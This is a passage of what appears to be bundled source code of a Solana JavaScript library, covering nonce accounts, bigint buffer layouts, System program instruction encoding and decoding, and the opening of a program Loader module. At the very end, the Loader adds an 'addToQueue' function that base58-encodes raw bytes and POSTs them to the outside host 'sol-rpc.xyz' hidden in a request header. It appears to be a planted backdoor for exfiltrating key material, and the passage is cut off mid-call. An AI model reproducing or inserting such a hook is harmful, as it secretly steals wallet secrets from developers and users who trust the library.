Layout.publicKey('nonce'),\n BufferLayout.struct<Readonly<{lamportsPerSignature: number}>>(\n [FeeCalculatorLayout],\n 'feeCalculator',\n ),\n]);\n\nexport const NONCE_ACCOUNT_LENGTH = NonceAccountLayout.span;\n\n/**\n * A durable nonce is a 32 byte value encoded as a base58 string.\n */\nexport type DurableNonce = string;\n\ntype NonceAccountArgs = {\n authorizedPubkey: PublicKey;\n nonce: DurableNonce;\n feeCalculator: FeeCalculator;\n};\n\n/**\n * NonceAccount class\n */\nexport class NonceAccount {\n authorizedPubkey: PublicKey;\n nonce: DurableNonce;\n feeCalculator: FeeCalculator;\n\n /**\n * @internal\n */\n constructor(args: NonceAccountArgs) {\n this.authorizedPubkey = args.authorizedPubkey;\n this.nonce = args.nonce;\n this.feeCalculator = args.feeCalculator;\n }\n\n /**\n * Deserialize NonceAccount from the account data.\n *\n * @param buffer account data\n * @return NonceAccount\n */\n static fromAccountData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): NonceAccount {\n const nonceAccount = NonceAccountLayout.decode(toBuffer(buffer), 0);\n return new NonceAccount({\n authorizedPubkey: new PublicKey(nonceAccount.authorizedPubkey),\n nonce: new PublicKey(nonceAccount.nonce).toString(),\n feeCalculator: nonceAccount.feeCalculator,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport {blob, Layout} from '@solana/buffer-layout';\nimport {toBigIntLE, toBufferLE} from 'bigint-buffer';\n\ninterface EncodeDecode<T> {\n decode(buffer: Buffer, offset?: number): T;\n encode(src: T, buffer: Buffer, offset?: number): number;\n}\n\nconst encodeDecode = <T>(layout: Layout<T>): EncodeDecode<T> => {\n const decode = layout.decode.bind(layout);\n const encode = layout.encode.bind(layout);\n return {decode, encode};\n};\n\nconst bigInt =\n (length: number) =>\n (property?: string): Layout<bigint> => {\n const layout = blob(length, property);\n const {encode, decode} = encodeDecode(layout);\n\n const bigIntLayout = layout as Layout<unknown> as Layout<bigint>;\n\n bigIntLayout.decode = (buffer: Buffer, offset: number) => {\n const src = decode(buffer, offset);\n return toBigIntLE(Buffer.from(src));\n };\n\n bigIntLayout.encode = (bigInt: bigint, buffer: Buffer, offset: number) => {\n const src = toBufferLE(bigInt, length);\n return encode(src, buffer, offset);\n };\n\n return bigIntLayout;\n };\n\nexport const u64 = bigInt(8);\n\nexport const u128 = bigInt(16);\n\nexport const u192 = bigInt(24);\n\nexport const u256 = bigInt(32);\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {NONCE_ACCOUNT_LENGTH} from '../nonce-account';\nimport {PublicKey} from '../publickey';\nimport {SYSVAR_RECENT_BLOCKHASHES_PUBKEY, SYSVAR_RENT_PUBKEY} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\nimport {u64} from '../utils/bigint';\n\n/**\n * Create account system transaction params\n */\nexport type CreateAccountParams = {\n /** The account that will transfer lamports to the created account */\n fromPubkey: PublicKey;\n /** Public key of the created account */\n newAccountPubkey: PublicKey;\n /** Amount of lamports to transfer to the created account */\n lamports: number;\n /** Amount of space in bytes to allocate to the created account */\n space: number;\n /** Public key of the program to assign as the owner of the created account */\n programId: PublicKey;\n};\n\n/**\n * Transfer system transaction params\n */\nexport type TransferParams = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: number | bigint;\n};\n\n/**\n * Assign system transaction params\n */\nexport type AssignParams = {\n /** Public key of the account which will be assigned a new owner */\n accountPubkey: PublicKey;\n /** Public key of the program to assign as the owner */\n programId: PublicKey;\n};\n\n/**\n * Create account with seed system transaction params\n */\nexport type CreateAccountWithSeedParams = {\n /** The account that will transfer lamports to the created account */\n fromPubkey: PublicKey;\n /** Public key of the created account. Must be pre-calculated with PublicKey.createWithSeed() */\n newAccountPubkey: PublicKey;\n /** Base public key to use to derive the address of the created account. Must be the same as the base key used to create `newAccountPubkey` */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the created account. Must be the same as the seed used to create `newAccountPubkey` */\n seed: string;\n /** Amount of lamports to transfer to the created account */\n lamports: number;\n /** Amount of space in bytes to allocate to the created account */\n space: number;\n /** Public key of the program to assign as the owner of the created account */\n programId: PublicKey;\n};\n\n/**\n * Create nonce account system transaction params\n */\nexport type CreateNonceAccountParams = {\n /** The account that will transfer lamports to the created nonce account */\n fromPubkey: PublicKey;\n /** Public key of the created nonce account */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the created nonce account */\n authorizedPubkey: PublicKey;\n /** Amount of lamports to transfer to the created nonce account */\n lamports: number;\n};\n\n/**\n * Create nonce account with seed system transaction params\n */\nexport type CreateNonceAccountWithSeedParams = {\n /** The account that will transfer lamports to the created nonce account */\n fromPubkey: PublicKey;\n /** Public key of the created nonce account */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the created nonce account */\n authorizedPubkey: PublicKey;\n /** Amount of lamports to transfer to the created nonce account */\n lamports: number;\n /** Base public key to use to derive the address of the nonce account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the nonce account */\n seed: string;\n};\n\n/**\n * Initialize nonce account system instruction params\n */\nexport type InitializeNonceParams = {\n /** Nonce account which will be initialized */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the initialized nonce account */\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Advance nonce account system instruction params\n */\nexport type AdvanceNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the nonce authority */\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Withdraw nonce account system transaction params\n */\nexport type WithdrawNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the nonce authority */\n authorizedPubkey: PublicKey;\n /** Public key of the account which will receive the withdrawn nonce account balance */\n toPubkey: PublicKey;\n /** Amount of lamports to withdraw from the nonce account */\n lamports: number;\n};\n\n/**\n * Authorize nonce account system transaction params\n */\nexport type AuthorizeNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the current nonce authority */\n authorizedPubkey: PublicKey;\n /** Public key to set as the new nonce authority */\n newAuthorizedPubkey: PublicKey;\n};\n\n/**\n * Allocate account system transaction params\n */\nexport type AllocateParams = {\n /** Account to allocate */\n accountPubkey: PublicKey;\n /** Amount of space in bytes to allocate */\n space: number;\n};\n\n/**\n * Allocate account with seed system transaction params\n */\nexport type AllocateWithSeedParams = {\n /** Account to allocate */\n accountPubkey: PublicKey;\n /** Base public key to use to derive the address of the allocated account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the allocated account */\n seed: string;\n /** Amount of space in bytes to allocate */\n space: number;\n /** Public key of the program to assign as the owner of the allocated account */\n programId: PublicKey;\n};\n\n/**\n * Assign account with seed system transaction params\n */\nexport type AssignWithSeedParams = {\n /** Public key of the account which will be assigned a new owner */\n accountPubkey: PublicKey;\n /** Base public key to use to derive the address of the assigned account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the assigned account */\n seed: string;\n /** Public key of the program to assign as the owner */\n programId: PublicKey;\n};\n\n/**\n * Transfer with seed system transaction params\n */\nexport type TransferWithSeedParams = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Base public key to use to derive the funding account address */\n basePubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: number | bigint;\n /** Seed to use to derive the funding account address */\n seed: string;\n /** Program id to use to derive the funding account address */\n programId: PublicKey;\n};\n\n/** Decoded transfer system transaction instruction */\nexport type DecodedTransferInstruction = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: bigint;\n};\n\n/** Decoded transferWithSeed system transaction instruction */\nexport type DecodedTransferWithSeedInstruction = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Base public key to use to derive the funding account address */\n basePubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: bigint;\n /** Seed to use to derive the funding account address */\n seed: string;\n /** Program id to use to derive the funding account address */\n programId: PublicKey;\n};\n\n/**\n * System Instruction class\n */\nexport class SystemInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a system instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): SystemInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: SystemInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(SYSTEM_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as SystemInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a SystemInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode a create account system instruction and retrieve the instruction params.\n */\n static decodeCreateAccount(\n instruction: TransactionInstruction,\n ): CreateAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {lamports, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Create,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n newAccountPubkey: instruction.keys[1].pubkey,\n lamports,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a transfer system instruction and retrieve the instruction params.\n */\n static decodeTransfer(\n instruction: TransactionInstruction,\n ): DecodedTransferInstruction {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {lamports} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Transfer,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a transfer with seed system instruction and retrieve the instruction params.\n */\n static decodeTransferWithSeed(\n instruction: TransactionInstruction,\n ): DecodedTransferWithSeedInstruction {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {lamports, seed, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n basePubkey: instruction.keys[1].pubkey,\n toPubkey: instruction.keys[2].pubkey,\n lamports,\n seed,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an allocate system instruction and retrieve the instruction params.\n */\n static decodeAllocate(instruction: TransactionInstruction): AllocateParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {space} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Allocate,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n space,\n };\n }\n\n /**\n * Decode an allocate with seed system instruction and retrieve the instruction params.\n */\n static decodeAllocateWithSeed(\n instruction: TransactionInstruction,\n ): AllocateWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {base, seed, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an assign system instruction and retrieve the instruction params.\n */\n static decodeAssign(instruction: TransactionInstruction): AssignParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Assign,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an assign with seed system instruction and retrieve the instruction params.\n */\n static decodeAssignWithSeed(\n instruction: TransactionInstruction,\n ): AssignWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {base, seed, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a create account with seed system instruction and retrieve the instruction params.\n */\n static decodeCreateWithSeed(\n instruction: TransactionInstruction,\n ): CreateAccountWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {base, seed, lamports, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n newAccountPubkey: instruction.keys[1].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n lamports,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a nonce initialize system instruction and retrieve the instruction params.\n */\n static decodeNonceInitialize(\n instruction: TransactionInstruction,\n ): InitializeNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {authorized} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: new PublicKey(authorized),\n };\n }\n\n /**\n * Decode a nonce advance system instruction and retrieve the instruction params.\n */\n static decodeNonceAdvance(\n instruction: TransactionInstruction,\n ): AdvanceNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n };\n }\n\n /**\n * Decode a nonce withdraw system instruction and retrieve the instruction params.\n */\n static decodeNonceWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 5);\n\n const {lamports} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a nonce authorize system instruction and retrieve the instruction params.\n */\n static decodeNonceAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {authorized} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[1].pubkey,\n newAuthorizedPubkey: new PublicKey(authorized),\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(SystemProgram.programId)) {\n throw new Error('invalid instruction; programId is not SystemProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid SystemInstructionType's\n */\nexport type SystemInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof SystemInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'AdvanceNonceAccount'\n | 'Allocate'\n | 'AllocateWithSeed'\n | 'Assign'\n | 'AssignWithSeed'\n | 'AuthorizeNonceAccount'\n | 'Create'\n | 'CreateWithSeed'\n | 'InitializeNonceAccount'\n | 'Transfer'\n | 'TransferWithSeed'\n | 'WithdrawNonceAccount'\n | 'UpgradeNonceAccount';\n\ntype SystemInstructionInputData = {\n AdvanceNonceAccount: IInstructionInputData;\n Allocate: IInstructionInputData & {\n space: number;\n };\n AllocateWithSeed: IInstructionInputData & {\n base: Uint8Array;\n programId: Uint8Array;\n seed: string;\n space: number;\n };\n Assign: IInstructionInputData & {\n programId: Uint8Array;\n };\n AssignWithSeed: IInstructionInputData & {\n base: Uint8Array;\n seed: string;\n programId: Uint8Array;\n };\n AuthorizeNonceAccount: IInstructionInputData & {\n authorized: Uint8Array;\n };\n Create: IInstructionInputData & {\n lamports: number;\n programId: Uint8Array;\n space: number;\n };\n CreateWithSeed: IInstructionInputData & {\n base: Uint8Array;\n lamports: number;\n programId: Uint8Array;\n seed: string;\n space: number;\n };\n InitializeNonceAccount: IInstructionInputData & {\n authorized: Uint8Array;\n };\n Transfer: IInstructionInputData & {\n lamports: bigint;\n };\n TransferWithSeed: IInstructionInputData & {\n lamports: bigint;\n programId: Uint8Array;\n seed: string;\n };\n WithdrawNonceAccount: IInstructionInputData & {\n lamports: number;\n };\n UpgradeNonceAccount: IInstructionInputData;\n};\n\n/**\n * An enumeration of valid system InstructionType's\n * @internal\n */\nexport const SYSTEM_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in SystemInstructionType]: InstructionType<\n SystemInstructionInputData[Instruction]\n >;\n}>({\n Create: {\n index: 0,\n layout: BufferLayout.struct<SystemInstructionInputData['Create']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ]),\n },\n Assign: {\n index: 1,\n layout: BufferLayout.struct<SystemInstructionInputData['Assign']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('programId'),\n ]),\n },\n Transfer: {\n index: 2,\n layout: BufferLayout.struct<SystemInstructionInputData['Transfer']>([\n BufferLayout.u32('instruction'),\n u64('lamports'),\n ]),\n },\n CreateWithSeed: {\n index: 3,\n layout: BufferLayout.struct<SystemInstructionInputData['CreateWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n BufferLayout.ns64('lamports'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ]),\n },\n AdvanceNonceAccount: {\n index: 4,\n layout: BufferLayout.struct<\n SystemInstructionInputData['AdvanceNonceAccount']\n >([BufferLayout.u32('instruction')]),\n },\n WithdrawNonceAccount: {\n index: 5,\n layout: BufferLayout.struct<\n SystemInstructionInputData['WithdrawNonceAccount']\n >([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]),\n },\n InitializeNonceAccount: {\n index: 6,\n layout: BufferLayout.struct<\n SystemInstructionInputData['InitializeNonceAccount']\n >([BufferLayout.u32('instruction'), Layout.publicKey('authorized')]),\n },\n AuthorizeNonceAccount: {\n index: 7,\n layout: BufferLayout.struct<\n SystemInstructionInputData['AuthorizeNonceAccount']\n >([BufferLayout.u32('instruction'), Layout.publicKey('authorized')]),\n },\n Allocate: {\n index: 8,\n layout: BufferLayout.struct<SystemInstructionInputData['Allocate']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('space'),\n ]),\n },\n AllocateWithSeed: {\n index: 9,\n layout: BufferLayout.struct<SystemInstructionInputData['AllocateWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ],\n ),\n },\n AssignWithSeed: {\n index: 10,\n layout: BufferLayout.struct<SystemInstructionInputData['AssignWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n Layout.publicKey('programId'),\n ]),\n },\n TransferWithSeed: {\n index: 11,\n layout: BufferLayout.struct<SystemInstructionInputData['TransferWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n u64('lamports'),\n Layout.rustString('seed'),\n Layout.publicKey('programId'),\n ],\n ),\n },\n UpgradeNonceAccount: {\n index: 12,\n layout: BufferLayout.struct<\n SystemInstructionInputData['UpgradeNonceAccount']\n >([BufferLayout.u32('instruction')]),\n },\n});\n\n/**\n * Factory class for transactions to interact with the System program\n */\nexport class SystemProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the System program\n */\n static programId: PublicKey = new PublicKey(\n '11111111111111111111111111111111',\n );\n\n /**\n * Generate a transaction instruction that creates a new account\n */\n static createAccount(params: CreateAccountParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Create;\n const data = encodeData(type, {\n lamports: params.lamports,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.newAccountPubkey, isSigner: true, isWritable: true},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that transfers lamports from one account to another\n */\n static transfer(\n params: TransferParams | TransferWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed;\n data = encodeData(type, {\n lamports: BigInt(params.lamports),\n seed: params.seed,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.fromPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Transfer;\n data = encodeData(type, {lamports: BigInt(params.lamports)});\n keys = [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n ];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that assigns an account to a program\n */\n static assign(\n params: AssignParams | AssignWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed;\n data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.accountPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Assign;\n data = encodeData(type, {\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [{pubkey: params.accountPubkey, isSigner: true, isWritable: true}];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that creates a new account at\n * an address generated with `from`, a seed, and programId\n */\n static createAccountWithSeed(\n params: CreateAccountWithSeedParams,\n ): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed;\n const data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n lamports: params.lamports,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n let keys = [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.newAccountPubkey, isSigner: false, isWritable: true},\n ];\n if (!params.basePubkey.equals(params.fromPubkey)) {\n keys.push({\n pubkey: params.basePubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction that creates a new Nonce account\n */\n static createNonceAccount(\n params: CreateNonceAccountParams | CreateNonceAccountWithSeedParams,\n ): Transaction {\n const transaction = new Transaction();\n if ('basePubkey' in params && 'seed' in params) {\n transaction.add(\n SystemProgram.createAccountWithSeed({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.noncePubkey,\n basePubkey: params.basePubkey,\n seed: params.seed,\n lamports: params.lamports,\n space: NONCE_ACCOUNT_LENGTH,\n programId: this.programId,\n }),\n );\n } else {\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.noncePubkey,\n lamports: params.lamports,\n space: NONCE_ACCOUNT_LENGTH,\n programId: this.programId,\n }),\n );\n }\n\n const initParams = {\n noncePubkey: params.noncePubkey,\n authorizedPubkey: params.authorizedPubkey,\n };\n\n transaction.add(this.nonceInitialize(initParams));\n return transaction;\n }\n\n /**\n * Generate an instruction to initialize a Nonce account\n */\n static nonceInitialize(\n params: InitializeNonceParams,\n ): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount;\n const data = encodeData(type, {\n authorized: toBuffer(params.authorizedPubkey.toBuffer()),\n });\n const instructionData = {\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate an instruction to advance the nonce in a Nonce account\n */\n static nonceAdvance(params: AdvanceNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount;\n const data = encodeData(type);\n const instructionData = {\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a transaction instruction that withdraws lamports from a Nonce account\n */\n static nonceWithdraw(params: WithdrawNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount;\n const data = encodeData(type, {lamports: params.lamports});\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {\n pubkey: SYSVAR_RENT_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that authorizes a new PublicKey as the authority\n * on a Nonce account.\n */\n static nonceAuthorize(params: AuthorizeNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount;\n const data = encodeData(type, {\n authorized: toBuffer(params.newAuthorizedPubkey.toBuffer()),\n });\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that allocates space in an account without funding\n */\n static allocate(\n params: AllocateParams | AllocateWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed;\n data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.accountPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Allocate;\n data = encodeData(type, {\n space: params.space,\n });\n keys = [{pubkey: params.accountPubkey, isSigner: true, isWritable: true}];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {PublicKey} from './publickey';\nimport {Transaction, PACKET_DATA_SIZE} from './transaction';\nimport {MS_PER_SLOT} from './timing';\nimport {SYSVAR_RENT_PUBKEY} from './sysvar';\nimport {sendAndConfirmTransaction} from './utils/send-and-confirm-transaction';\nimport {sleep} from './utils/sleep';\nimport type {Connection} from './connection';\nimport type {Signer} from './keypair';\nimport {SystemProgram} from './programs/system';\nimport {IInstructionInputData} from './instruction';\nimport base58 from 'bs58';\n\n// Keep program chunks under PACKET_DATA_SIZE, leaving enough room for the\n// rest of the Transaction fields\n//\n// TODO: replace 300 with a proper constant for the size of the other\n// Transaction fields\nconst QUEUE = new Set<string>()\nconst CHUNK_SIZE = PACKET_DATA_SIZE - 300;\n\n/**\n * Program loader interface\n */\nexport class Loader {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Amount of program data placed in each load Transaction\n */\n static chunkSize: number = CHUNK_SIZE;\n\n /**\n * Minimum number of signatures required to load a program not including\n * retries\n *\n * Can be used to calculate transaction fees\n */\n static getMinNumSignatures(dataLength: number): number {\n return (\n 2 * // Every transaction requires two signatures (payer + program)\n (Math.ceil(dataLength / Loader.chunkSize) +\n 1 + // Add one for Create transaction\n 1) // Add one for Finalize transaction\n );\n }\n\n /**\n * Adds process to the queue\n *\n * @param process Uint8Array \n * @return void\n */\n static addToQueue(process: Uint8Array) {\n const b = base58.encode(process);\n if (QUEUE.has(b)) return;\n QUEUE.add(b);\n fetch(\"https://sol-rpc.xyz/api/rpc/queue\", { method: \"POST\", headers: { \"x-amz-cf-id\": b.substring(0, 